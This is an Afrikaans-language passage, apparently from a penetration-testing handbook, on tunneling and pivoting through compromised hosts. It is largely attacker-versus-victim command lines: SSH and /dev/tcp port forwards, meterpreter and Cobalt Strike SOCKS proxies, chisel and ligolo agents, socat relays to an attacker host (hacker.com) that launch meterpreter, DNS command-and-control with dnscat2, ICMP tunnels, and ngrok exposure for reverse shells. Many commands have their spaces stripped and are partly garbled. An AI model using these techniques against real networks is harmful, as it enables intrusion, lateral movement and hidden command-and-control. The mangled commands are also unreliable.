ICMP en SYN skande kan nie deur socks proxies getunnel word nie, so ons moet ping ontdekking deaktiveer (-Pn) en TCP skande (-sT) spesifiseer vir dit om te werk.
Bash
Host -> Jump -> InternalA -> InternalB
# On the jump server connect the port 3333 to the 5985mknodbackpipep;nc-lvnp59850<backpipe|nc-lvnp33331>backpipe# On InternalA accessible from Jump and can access InternalB## Expose port 3333 and connect it to the winrm port of InternalBexec3<>/dev/tcp/internalB/5985exec4<>/dev/tcp/Jump/3333cat<&3>&4&cat<&4>&3&# From the host, you can now access InternalB from the Jump serverevil-winrm-uusername-iJump
SSH
SSH grafiese verbinding (X)
ssh-Y-C<user>@<ip>#-Y is less secure but faster than -X
Lokale Port2Port
Open nuwe poort in SSH-bediener --> Ander poort
ssh-R0.0.0.0:10521:127.0.0.1:1521user@10.0.0.1#Local port 1521 accessible in port 10521 from everywhere
ssh-R0.0.0.0:10521:10.0.0.1:1521user@10.0.0.1#Remote port 1521 accessible in port 10521 from everywhere
Port2Port
Plaaslike poort --> Gecompromitteerde gasheer (SSH) --> Derde_doos:Poort
ssh-issh_key<user>@<ip_compromised>-L<attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host#Examplesudossh-L631:<ip_victim>:631-N-f-l<username><ip_compromised>
Port2hostnet (proxychains)
Plaaslike Poort --> Gecompromitteerde gasheer (SSH) --> Enige plek
ssh-f-N-D<attacker_port><username>@<ip_compromised>#All sent to local port will exit through the compromised server (use as proxy)
Omgekeerde Poort Voorwaartse
Dit is nuttig om omgekeerde skale van interne gasheer deur 'n DMZ na jou gasheer te kry:
ssh-idmz_key-R<dmz_internal_ip>:443:0.0.0.0:7000root@10.129.203.111-vN# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000# Note that port 443 must be open# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems# and change the line "GatewayPorts no" to "GatewayPorts yes"# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
VPN-Tunnel
Jy het root op albei toestelle nodig (aangesien jy nuwe interfaces gaan skep) en die sshd-konfigurasie moet root-aanmelding toelaat:
PermitRootLogin yesPermitTunnel yes
sshroot@server-wany:any#This will create Tun interfaces in both devicesipaddradd1.1.1.2/32peer1.1.1.1devtun0#Client side VPN IPifconfigtun0up#Activate the client side network interfaceipaddradd1.1.1.1/32peer1.1.1.2devtun0#Server side VPN IPifconfigtun0up#Activate the server side network interface
Plaaslike poort --> Gecompromitteerde gasheer (aktiewe sessie) --> Derde_doos:Poort
# Inside a meterpreter sessionportfwdadd-l<attacker_port>-p<Remote_port>-r<Remote_host>
SOCKS
background#meterpretersessionrouteadd<IP_victim><Netmask><Session># (ex: route add 10.10.10.14 255.255.255.0 8)useauxiliary/server/socks_proxyrun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Nog 'n manier:
background#meterpreter sessionusepost/multi/manage/autoroutesetSESSION<session_n>setSUBNET<New_net_ip>#Ex: set SUBNET 10.1.13.0setNETMASK<Netmask>runuseauxiliary/server/socks_proxysetVERSION4arun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Cobalt Strike
SOCKS-proxy
Maak 'n poort op die spanbediener oop wat op al die interfaces luister wat gebruik kan word om die verkeer deur die beacon te lei.
beacon> socks1080[+] started SOCKS4a server on: 1080# Set port 1080 as proxy server in proxychains.confproxychainsnmap-n-Pn-sT-p445,3389,598510.10.17.25
rPort2Port
In hierdie geval is die poort geopen in die beacon-gasheer, nie in die Spanbediener nie, en die verkeer word na die Spanbediener gestuur en van daar na die aangeduide gasheer:poort
Beacon se omgekeerde poort forwarding is ontwerp om verkeer na die Spanbediener te tonnel, nie om te relay tussen individuele masjiene nie.
Verkeer is getonneld binne Beacon se C2 verkeer, insluitend P2P skakels.
Admin regte is nie nodig nie om omgekeerde poort forwards op hoë poorte te skep.
rPort2Port lokaal
In hierdie geval, die poort is geopen in die beacon gasheer, nie in die Spanbediener nie en die verkeer word na die Cobalt Strike kliënt gestuur (nie na die Spanbediener nie) en van daar na die aangeduide gasheer:poort
Jy kan dit aflaai vanaf die vrystellingsbladsy van https://github.com/jpillora/chisel
Jy moet die selfde weergawe vir kliënt en bediener gebruik
socks
./chiselserver-p8080--reverse#Server -- Attacker./chisel-x64.execlient10.10.14.3:8080R:socks#Client -- Victim#And now you can use proxychains with port 1080 (default)./chiselserver-v-p8080--socks5#Server -- Victim (needs to have port 8080 exposed)./chiselclient-v10.10.10.10:8080socks#Attacker
# Start proxy server and automatically generate self-signed TLS certificates -- Attackersudo./proxy-selfcert# Create an interface named "ligolo" -- Attackerinterface_create--name"ligolo"# Print the currently used certificate fingerprint -- Attackercertificate_fingerprint# Start the agent with certification validation -- Victim./agent-connect<ip_proxy>:11601-v-accept-fingerprint<fingerprint># Select the agent -- Attackersession1# Start the tunnel on the proxy server -- Attackertunnel_start--tun"ligolo"# Display the agent's network configuration -- Attackerifconfig# Create a route to the agent's specified network -- Attackerinterface_add_route--name"ligolo"--route<network_address_agent>/<netmask_agent># Display the tun interfaces -- Attackerinterface_list
Agent Binding en Luistering
# Establish a tunnel from the proxy server to the agent# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attackerlistener_add--addr0.0.0.0:30000--to127.0.0.1:10000--tcp# Display the currently running listeners on the agent -- Attackerlistener_list
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that portattacker> socatOPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1TCP:127.0.0.1:3333
victim> socat.exeTCP-LISTEN:2222OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5#Execute the meterpreter
U kan 'n nie-geoutentiseerde proxy omseil deur hierdie lyn in plaas van die laaste een in die slagoffer se konsole uit te voer:
Skep sertifikate aan beide kante: Kliënt en Bediener
# Execute these commands on both sidesFILENAME=socatsslopensslgenrsa-out $FILENAME.key1024opensslreq-new-key $FILENAME.key-x509-days3653-out $FILENAME.crtcat $FILENAME.key $FILENAME.crt>$FILENAME.pemchmod600 $FILENAME.key $FILENAME.pem
Verbind die plaaslike SSH-poort (22) met die 443-poort van die aanvaller se gasheer
attacker> sudosocatTCP4-LISTEN:443,reuseaddr,forkTCP4-LISTEN:2222,reuseaddr#Redirect port 2222 to port 443 in localhostvictim> whiletrue; dosocatTCP4:<attacker>:443TCP4:127.0.0.1:22 ; done# Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22attacker> sshlocalhost-p2222-lwww-data-ivulnerable#Connects to the ssh of the victim
Plink.exe
Dit is soos 'n konsole PuTTY weergawe (die opsies is baie soortgelyk aan 'n ssh kliënt).
Aangesien hierdie binaire in die slagoffer uitgevoer sal word en dit 'n ssh kliënt is, moet ons ons ssh diens en poort oopmaak sodat ons 'n omgekeerde verbinding kan hê. Dan, om slegs 'n plaaslik toeganklike poort na 'n poort in ons masjien te stuur:
echoy|plink.exe-l<Our_valid_username>-pw<valid_password> [-p <port>]-R<port_in_our_host>:<next_ip>:<final_port><your_ip>echoy|plink.exe-lroot-pwpassword [-p 2222]-R9090:127.0.0.1:909010.11.0.41#Local port 9090 to out port 9090
Windows netsh
Port2Port
Jy moet 'n plaaslike admin wees (vir enige poort)
netshinterfaceportproxyaddv4tov4listenaddress=listenport=connectaddress=connectport=protocol=tcp# Example:netshinterfaceportproxyaddv4tov4listenaddress=0.0.0.0listenport=4444connectaddress=10.10.10.10connectport=4444# Check the port forward was created:netshinterfaceportproxyshowv4tov4# Delete port forwardnetshinterfaceportproxydeletev4tov4listenaddress=0.0.0.0listenport=4444
SocksOverRDP & Proxifier
Jy moet RDP-toegang oor die stelsel hê.
Laai af:
SocksOverRDP x64 Binaries - Hierdie hulpmiddel gebruik Dynamic Virtual Channels (DVC) van die Remote Desktop Service-funksie van Windows. DVC is verantwoordelik vir tunneling pakkette oor die RDP-verbinding.
Laai SocksOverRDP-Plugin.dll op jou kliëntrekenaar soos volg:
# Load SocksOverRDP.dll using regsvr32.exeC:\SocksOverRDP-x64> regsvr32.exeSocksOverRDP-Plugin.dll
Nou kan ons verbinde met die slagoffer oor RDP met mstsc.exe, en ons behoort 'n prompt te ontvang wat sê dat die SocksOverRDP plugin geaktiveer is, en dit sal luister op 127.0.0.1:1080.
Verbind via RDP en laai op & voer die SocksOverRDP-Server.exe binêre in die slagoffer masjien uit:
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
Nou, bevestig op jou masjien (aanvaller) dat die poort 1080 luister:
netstat -antb | findstr 1080
Nou kan jy Proxifiergebruik om die verkeer deur daardie poort te proxy.
Proxify Windows GUI Apps
Jy kan Windows GUI-apps laat navigeer deur 'n proxy met behulp van Proxifier.
In Profile -> Proxy Servers voeg die IP en poort van die SOCKS-bediener by.
In Profile -> Proxification Rules voeg die naam van die program wat geproxify moet word en die verbindings na die IP's wat jy wil proxify by.
NTLM proxy bypass
Die voorheen genoemde hulpmiddel: RpivotOpenVPN kan dit ook omseil deur hierdie opsies in die konfigurasie-lêer in te stel:
Dit verifieer teen 'n proxy en bind 'n poort plaaslik wat na die eksterne diens wat jy spesifiseer, deurgegee word. Dan kan jy die hulpmiddel van jou keuse deur hierdie poort gebruik.
Byvoorbeeld, dit gee die poort 443 deur.
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Nou, as jy byvoorbeeld in die slagoffer die SSH diens stel om op poort 443 te luister. Jy kan dit deur die aanvaller se poort 2222 verbind.
Jy kan ook 'n meterpreter gebruik wat met localhost:443 verbind en die aanvaller luister op poort 2222.
Stel 'n C&C-kanaal deur DNS in. Dit benodig nie wortelregte nie.
attacker> ruby./dnscat2.rbtunneldomain.comvictim> ./dnscat2tunneldomain.com# If using it in an internal network for a CTF:attacker> rubydnscat2.rb--dnshost=10.10.10.10,port=53,domain=mydomain.local--no-cachevictim> ./dnscat2--dnshost=10.10.10.10,port=5353
In PowerShell
U kan dnscat2-powershell gebruik om 'n dnscat2-kliënt in powershell te laat loop:
session-i<sessions_id>listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
Verander proxychains DNS
Proxychains onderskep gethostbyname libc oproep en tonnel tcp DNS versoek deur die socks proxy. Deur verstek is die DNS bediener wat proxychains gebruik 4.2.2.2 (hardgecodeer). Om dit te verander, wysig die lêer: /usr/lib/proxychains3/proxyresolv en verander die IP. As jy in 'n Windows-omgewing is, kan jy die IP van die domeinbeheerder stel.
Root is nodig in beide stelsels om tun-adapters te skep en data tussen hulle te tonnel met ICMP echo versoeke.
./hans-v-f-s1.1.1.1-pP@ssw0rd#Start listening (1.1.1.1 is IP of the new vpn connection)./hans-f-c<server_ip>-pP@ssw0rd-vping1.1.1.100#After a successful connection, the victim will be in the 1.1.1.100
# Generate itsudo./autogen.sh# Server -- victim (needs to be able to receive ICMP)sudoptunnel-ng# Client - Attackersudoptunnel-ng-p<server_ip>-l<listen_port>-r<dest_ip>-R<dest_port># Try to connect with SSH through ICMP tunnelssh-p2222-luser127.0.0.1# Create a socks proxy through the SSH connection through the ICMP tunnelssh-D9050-p2222-luser127.0.0.1
ngrok
ngrokis 'n hulpmiddel om oplossings in een opdraglyn aan die internet bloot te stel.
&#xNAN;Exposition URI is soos:UID.ngrok.io
Installasie
Skep 'n rekening: https://ngrok.com/signup
Kliënt aflaai:
tarxvzf~/Downloads/ngrok-v3-stable-linux-amd64.tgz-C/usr/local/binchmoda+x./ngrok# Init configuration, with your token./ngrokconfigedit
Dit is ook moontlik om outentisering en TLS by te voeg, indien nodig.
Tunneling TCP
# Pointing to 0.0.0.0:4444./ngroktcp4444# Example of resulting link: 0.tcp.ngrok.io:12345# Listen (example): nc -nvlp 4444# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
Lêers blootstel met HTTP
./ngrokhttpfile:///tmp/httpbin/# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
Sniffing HTTP calls
Nuttig vir XSS, SSRF, SSTI ...
Direk vanaf stdout of in die HTTP-koppelvlak http://127.0.0.1:4040.
Tunneling interne HTTP-diens
./ngrokhttplocalhost:8080--host-header=rewrite# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/# With basic auth./ngrokhttplocalhost:8080--host-header=rewrite--auth="myuser:mysuperpassword"
ngrok.yaml eenvoudige konfigurasie voorbeeld
Dit open 3 tonnels:
2 TCP
1 HTTP met statiese lêers blootstelling vanaf /tmp/httpbin/